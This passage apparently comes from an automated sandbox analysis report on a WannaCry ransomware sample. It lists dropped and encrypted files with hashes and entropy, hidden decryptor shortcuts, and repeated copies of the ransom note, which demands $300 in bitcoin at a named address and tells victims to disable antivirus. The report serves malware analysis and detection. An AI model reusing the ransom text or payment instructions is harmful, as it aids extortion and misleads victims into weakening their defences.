                                                                                                                                                                              Preview:WANACRY!........9.U*..NO.r..LR.....%pnD%..>........nH.....v.o.U.o|..d.R.i +|.x.=2..o..3....*x6J....e.`..i[......;M.K...Fy...D+>A.Q..8...x..m...|..:|..4?c....J.eY.aC.>.&;.`..z.....~.?...].h..^.....T.}.K...q..Z.........)...ZrFP.e\].g|I.y....%Zl.e.8...#\.Xp.A\.$...............UK..-....#.Y..Yo...L.tr,.K'.].<W..=oY.z..L.....ncx......$p...Gmq..&......T...=.X..p.......X.....+j.n.O..........k...`.j.|.3>..&.......A..+......B..(.=..cIY....g..0..w.'.....W......=S.c.....X...O..m...N..I..QsD..i....E......I..&.^3D_.....L...O.$m.....j?D.7..]....Wf......7.......9Ndo... S.}....k...{]s.bU......(..r..7..#.Tl.aU.>...}N..S.0q$.|.8.......O.....y.`.;...:..,ko.....F..kq...Ww2#(.....75m...9.+..&2..Ql)E....v....JC...Z>a..Q$...#=...^..<D..5........y.....7....zt..+$.@X#:...g..~......!h-....8...0...-.....?.O..&2..Fv....nnh.=36{...P..D[T..Q..........h..{..OW..t.;...D...Z^^..@.Z...G........0...v.B.hl.y..}..X+r...Q.w.......Td.~.nC.V._d.m..p,i.h.1.=5).x..j..z.N<4H.&`/.b.

                                                                                                                                                                              C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):29160
                                                                                                                                                                              Entropy (8bit):7.993822885639333
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:0R07dC+KLNi+uF1PsbxkpqgoeEojvaIbjS7:0RCKhY1PsbxujuCaYj6
                                                                                                                                                                              MD5:7F7AB3C00C2B42E9EB421BED9F20B7D2
                                                                                                                                                                              SHA1:A1F649E7F60DFE852CC5C7C1104005B8F4D4B41B
                                                                                                                                                                              SHA-256:26F3191FA2C9ACE89444AFE389EA2A82D0E4C3F8BC33C2809B6CD6318BADFDD3
                                                                                                                                                                              SHA-512:05324613E926D675B0E3638436B9605415969F49FD9A7ABB8D1306AC5889A26C2FB34FA64FC54C011B24BD8AFFC0703B7BF536B939BA11B2D94B2A771548ABD2
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......0U..h...$._!.O....MU.AnY..@d.......%J.+:H...Cy..7._.[.R.V...-.T..7|.Pvo....\.-.o '..i....V.\*.,5H.G.......$......U..J...#N....ek.x.C@..%LO...2...`~#..J.N5.......c....ty.......#..&.;C$F.$...........dR;.V.{..c_.5.j..@G..A......1.n8......{......p.......iW..t0u..!\..1%S..wk.....o.Py.KK{b...w}..........e..D..;90..o..D...]'Z...E..:.r.........9K......i+...q....v...7>.................+..`.uR...m...|t^.Yv.5W7%.O. .?.+-....i.J2...5W.._...S..S.N".iA.....s25.;.v3J...........gD 9..26........M.Gk..-..9..dl-~......H..6..$4otm.I.;q..........U7..#].....'.......#T6Q......[........"..X...[.I..Y.......J..I-.;.3.Y.m..."..,.O!.ue...(.=.|,.U^~...B..e.R.P/]R...a.Z2..a...M6%..,1'v.1D.1/..oX..>D.....1...}.".m...a..*W4t...H...1.=...E.34.c...j..^"q...7.R.t.L..............Q....V....CqX......b.n..N/XIf1n.."..w'....,..'.ga....S...\.Y5<:.0aY....$..M.O-[.........g..9 .(gSo.A>9.Y.MW.Y...Z.....-O1.....0.q.ly...ZPv.G* ..t$.T..I..).O.$.b{....-./......].

                                                                                                                                                                              C:\ProgramData\Microsoft\Diagnosis\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\ProgramData\Microsoft\Diagnosis\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\ProgramData\Microsoft\Diagnosis\EventStore.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):106776
                                                                                                                                                                              Entropy (8bit):7.998153238817826
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:WfURYiIlm3NYUke3tl+rWg1V9M6UVk8MFzO:YUuib9TlCrH7iFPazO
                                                                                                                                                                              MD5:E7785E0B9BE8D52AB449699FD9E8D593
                                                                                                                                                                              SHA1:6E4D6CDF3BBA043D46BBB5D8F24F62C7ECB94B7D
                                                                                                                                                                              SHA-256:820A7C7DE9838D233DFE79B4110E8B11853E1379D582F2EA08824C8D497FC422
                                                                                                                                                                              SHA-512:25846DFA2F8C92E4F1A465ADAEADF3911894291F5446F944DF42C6D86F88C02D886023C7A18B0D77DBF3A31BFC4315C1AFD973A273F582C1EB862ACE2E947F10
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...."..=.S....f.....qfN........?....L'.:.c..;.?.y......B...7].#.Z..........4..<...|..X.B%.2x.x..K.....j.....X........;&.YVRV..r..(C..$..9tf.WC....(#..4K|!.fE.T..D..?..C<`.6_..,..9.?^6...hob..0.z[.#....dc...c9g.O..~....#e$E<pe...V...o.6.....c.i...............j...[..I.......Yb.M.jYr.m......Xc....!..!..........%5...7...:..c).....a....3..Y:..%..C.N.'n...^na......=.....X.E...&......6.Q.0....F5..g}.....LTw.b....l<.*+.rd...^.4.<.....%..Y.&U.nz\G.;x.dq./1.a.I...h..dGh9....\..0o...c...l.R..M.%g....K2A.:.L..-oO..3^.|.6-.....N<.j..a.AW.."......31;..6...C9.._.@oj..C.y2...}...y.R-..P...9...'..>!........_.k.(....6-.1B:j+.p...k\..6'..gq"..].|6..S...&G....M....gd.d.$.3...|U..0..x.m.i..I..d(..c]....I.j1..[..^.%.w.Mfl..K...;..i...u..j.V.g..OC{.4H..."....}.W..a..Sy....A_.{|m+......@.....J...I}.....2.cu....Y..$y6T6.....""..VM.n.+.w..D..)....C2..*..\$'..H.CH|...>......}..p..\8..8..]....Qv{.VU&|..yV.<.;.g."..3Ih...13..i........r.'..F...[{v.....J..)...

                                                                                                                                                                              C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):33048
                                                                                                                                                                              Entropy (8bit):7.994043870601279
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:ouLrj9APNZNxNckiYlR7QKVlxeM4rL2wAh82+gVxZzZ:zr9APN3xakia7zV8TXgdzZ
                                                                                                                                                                              MD5:F68E80D159D30CE57BA442094B174D2C
                                                                                                                                                                              SHA1:12F23B0E8E8C8F55285540C2C8DD0E766A8D608C
                                                                                                                                                                              SHA-256:2C9550BBA30402CA383E87215DC579672C02066357A8531ECFAF67E91181F9A1
                                                                                                                                                                              SHA-512:3B07B09663EA4D1C90D212DF17EC528E37F88BF1A70399E4314C1687723FAFDCEF83FBD1A1AA698EC6DEFA1ADF89A2CEE177CC613A91C436D899A2A5130D831C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....A.-g;..:s3W..;.9V~.2.!k..?.ih..$05,..|.$..}.VHl...58......m5b|.q........H....W...|..?.M...s...]}x0>.J...h......F..l.1..TN..KD...Z9.X...C........t...u.V....F.\Y.=...#>.$...w......E&.....t..M..S..a=.U.&...{..m..$V.9AF.=.........yp|.-...................v....Bj(D...l..(4R.Aw._....N...Y.......d5.;...X#.!.@...wLi."..N..6..ni-..Qt.Hy...<.u..l..9..4.I....d....$m....B.,x.@@+..8._k.,..-...>-f...9".^tJ>..Q.Q\...p.2j.@.9..4.3:y.............&.?7JXF..T.......w..T...|....fWl'.y.....z...N.....&0.1|N.q<.3K.!..:......(..JU..j.{.R........R...1.,N.jm.>F..W.J......d3.S@U....#..%.G.;3..T.{..1z.....'2y%.L...h]B.Ce#.,M...z...-..}*..d.u.E>E..0"pa.a#/.......Jab..\Fs..g..*....l......4s..k.Sg...z.R...*3.Z.../......C..z.... ..1s..5.2.]...Z#...|.e.M.............F.Q......2TA...m.M..ei/.........R...-..4..U...H.(.Z.D.w....J.dE`Z...."..N[)./.w.7..X..U.1....1.^..G.$sr.=. ....N.>.).:.gb!.......s....0N..A\..e.f.....M..uC-.0....).u.(..^......0..;t.....d;.

                                                                                                                                                                              C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):28952
                                                                                                                                                                              Entropy (8bit):7.992972055690889
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:caSvgNYJ0Hk8UVqQJMKXhQIxjmcHrTZ4Yw5lz5x4J7WbvfiERtSR8pL:caO0E9JMxaR4zTz4mbte85
                                                                                                                                                                              MD5:6E3FD03FB2BA157400559FDF19CE24FF
                                                                                                                                                                              SHA1:79523BAEF5FD46ABB6C99B7724EE3D1299303FF4
                                                                                                                                                                              SHA-256:54AC1C3F20E951612C68FC9ED0162A8BC962239A48D31C0F163A93B9EA12068F
                                                                                                                                                                              SHA-512:7D08514D1F0BAAD934C75CCEB2FB47555CB249A2F648EC81890BA8C919999E9B2CE92DB4DCE71CF1B3146D9CF05AA0B25EC9E883833F49F3F964A2305BF27ACE
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....L;\..C....O=2.^k.(.%7Nf.. ...C.q9(0..!+_.,...w.f]..%.yW^t..T!...?.eh..X.vVA...N..V..ghx.mw..1...4...a.k}..g...K...$U....Xu|....2.s....B..B..~.y`..m......F....QlBT$_.6.<:..{i.....m.....P{H...6....k3.....9$.a..CM....AqIP....6P\.l c$..@...k9..D......p.......Ms...~....c|....:p....W.13..6...X...d._>+.....Pn.G..F(..f.....].cdh.........&..7.n..p%..}.I#H.K....^.D...A.sM.f..A.so...B........y"..h...?...Y.....]....A.[..qU...........(..NW...=.z.|....T`.g^...P.E...[...C..2:.!.:..=!M.k..~We.q:....ZH7....x.i\$.....~.@!.i...5..A.>....0T+...../.......;..B.<...j^....uRP.@..2....Q... ..j.7...P".......P.....SI....o.V.**...Y.Z...4U(1..F.....[......<.......ZKl3..'Y.P........Zn..*.%.._.....`.)^A..o.]...u..f....CX.:p..0/o.......b.8=.,..../..P.x....!...HC..q)...>W.o.../.~.p..F)u.../\.Rw.......3^~.zY.....&.p@..H.c.sc^kMT.(PO. }.8i.9..$R...$....;k...xgw.-(..#...sg4....@.O.......Hw<......w.,..hVn..sB..&..hD:...".g$W..e..n.*.}.......EyUa.U...p.....Iy....

                                                                                                                                                                              C:\ProgramData\Microsoft\Diagnosis\osver.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.160802288088137
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEO1VuRgLxNIjRkI5XLoXHqPfLibueNkMDgMHoCJFqsnSY0UQhArQJ:bkEawWnckauH0fLij2M8MHFNnS3L
                                                                                                                                                                              MD5:EAD779773C1BF7DCE7ECC1E73E7294D2
                                                                                                                                                                              SHA1:CC76787013D9155BA1A25C55E9A8EC850AA85003
                                                                                                                                                                              SHA-256:C37E274926217A839900A37B6ED1DD520361BA2AB56A4DB605752783373103BD
                                                                                                                                                                              SHA-512:4B25B68845FC5C650BBD1B7DD0FFFBC5BA9C9B314A9AFF5B12464EDBBD7DB9F1383DBF4B3E1CE7C29009576A22CAD17D625B06410F062573BAB9A3BC70EF03C2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....%...3$.P.*...8D..`.`..j.g.%..O9;...".^7.m.....8.....$.$.9..e.g.rM/J..U..!}.;z.....l...W/..'.H.(.vz.w.T....m...~....K..b..C.4..U*..:/L;E.0..t..^4.J...D-...);M.f`.....4.L..$.Lj.l#w....E....._<......n_=5H.gPT...L.w8,.{...%..~...b....9~...}a.S.._.Y.................<...}.XF.....

                                                                                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16777496
                                                                                                                                                                              Entropy (8bit):7.999988907467275
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:393216:BpzVUEvs6qO17LF9+Je16awBFROb9STdBhRjA/ZH7/:XzpvNmUAawBqb9SzhRjwt/
                                                                                                                                                                              MD5:6C21C1718FC232B035040C3CF103C411
                                                                                                                                                                              SHA1:FB70147722F683DF96443CED93E1CABE6E6AA007
                                                                                                                                                                              SHA-256:ABBD381F1FC6798DE2DE849766D569387CA5D7E83736C5205F8E3595DDFDB760
                                                                                                                                                                              SHA-512:3F78B0C97DF4CA2D92884E653611996556DFFB2FC71C4C81A2B38C7A6BDF5D01C0D9BB723E1B8EBA5719B0AD144AB9AA1D148468AA62BA773885D5710400C584
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....6.q..d....u.J..m...!..~Y..zQ...I.[..,.{.......e$;.....t.......\.A.....cz..*.K2;..|fg.og..%[...Vd...-.6.|;GY..?tC..TV...-...*.R...ff....%B.SH....:....G.U.a.X.D.._...T.z.x. ....@5..Y,{.5...1..[..........$.IO|k...........-Q..z...........un./...............+9..p.h.....<^>.t"$..\.HI..&...S.}.K.......i<......X5....i.:4.uG./..f..:....Ez.a.,.3s.\........`.^.....-....`..<<....E..&7;......._..X.%Z(...la..9....).n.e(..F~....9..&mN....U4..4..l....bu..w.........+......!.b`.#?..`.-2.{z.. >..3)lX...H.}1.."C...8A...!.nZ.n.u.>0h.... .j....{..Y....N..u..z..*..@3..P..3.x.4.j....l..k6...^C..n.&kP}m..1..A.a.N....Q...gl.-,..q.v....bS...ou.h.....9......l.F4...Qe`B.1.%.....T..b..S...3h..k.........O.....+L.i?O{......j....B.R.._m..^..+N...[n.._.T.s(...........s~?E...^..d.gTV.?.3....n....w....y.`.iTCy5o.y....a7j......O\..i<.(...V..q...K.^.....Gx.W\EYI.9..J....;.^K...s....T(r....W......C......7.h1.]c.f!t..$7S>...Cr...2.. )..)I...0...xX.....

                                                                                                                                                                              C:\ProgramData\Microsoft\Search\Data\Applications\Windows\tmp.edb.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):164120
                                                                                                                                                                              Entropy (8bit):7.998915612646533
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:BAao51dNF0AdB+j3TlpenwcqRiyth1x/dU/uDbD52/OkbxHtnP+3kILgDy6e9H:ro51CAd0jxp6Kthjzb1/kZhSkILKyJ9H
                                                                                                                                                                              MD5:CB624719022E8FC27A6EA072B26A317B
                                                                                                                                                                              SHA1:9F57002A34DFBB0E89687A5919B0F3AE761280C5
                                                                                                                                                                              SHA-256:5257863BDEC26D9F0289C79029043D4064F604A53B11C0A083E9E43479F7FCDE
                                                                                                                                                                              SHA-512:1A56063F85C196E7498F9AD61B830732023DFA62149555E293A143B3EC3ECCD53B451541E34E9C60BE146CD41EC89AAD41E5D40A728AEA73AF3B55C04689C669
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Omz ..J%h[.75K.....QF.Cy...o.......'XM..4...*sd.!......^...0....6.y..iAsy..&];.D)\..zp........#.>....SLx$......E.?S......4..O..5..e...(V7b5tm3W...q..2..S._a.0..Q.ssx.L.&%.....gkS....X.."........PM.Y-3..2..j...#X.....7f.....#...YQ....^.%e?w..E..............>.(...|.w{.s.y..\g^...t.....xxt/|=.%.S....~.3. I....[.. .2.T...........^Z..@nM..%..}A..n...rY4.....W..9.......'.....j.T..&.n.Zn.<.?...3.%5.n...4..y...b.O....LN.e.c... ....U./..U.&....<.....=.}..s.v2....n.......p4;.b2.7w....Fa.U.kM(..{...b. ;...M...!..D..'.....=9.....7..Y6Y...8.+....O].\......+|b.2...Z@2..W.D........*..lS.i=....[f..Y....o9}(..l...%.8.c..p.7..$.....%.....k..._Yu...K..9[m^..'...5...*..1.>...kT3GQ<.r.K.^.3.3..T.......zwS.....6.9....J.....r...IB.Y.Pin..$Y.....$......`..>..........&.&|O'.`1.........{..a....ir]DI..}......Xk.M..l].C/......d8... K.x....7.m...J7....9'v.../.m.Y\B?..T..`|...4....{..p...+...Y..U..g....\I..ey5Y.z6.2.fh....*..3.....#.4Ex.x...y...r.

                                                                                                                                                                              C:\ProgramData\Microsoft\SmsRouter\MessageStore\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
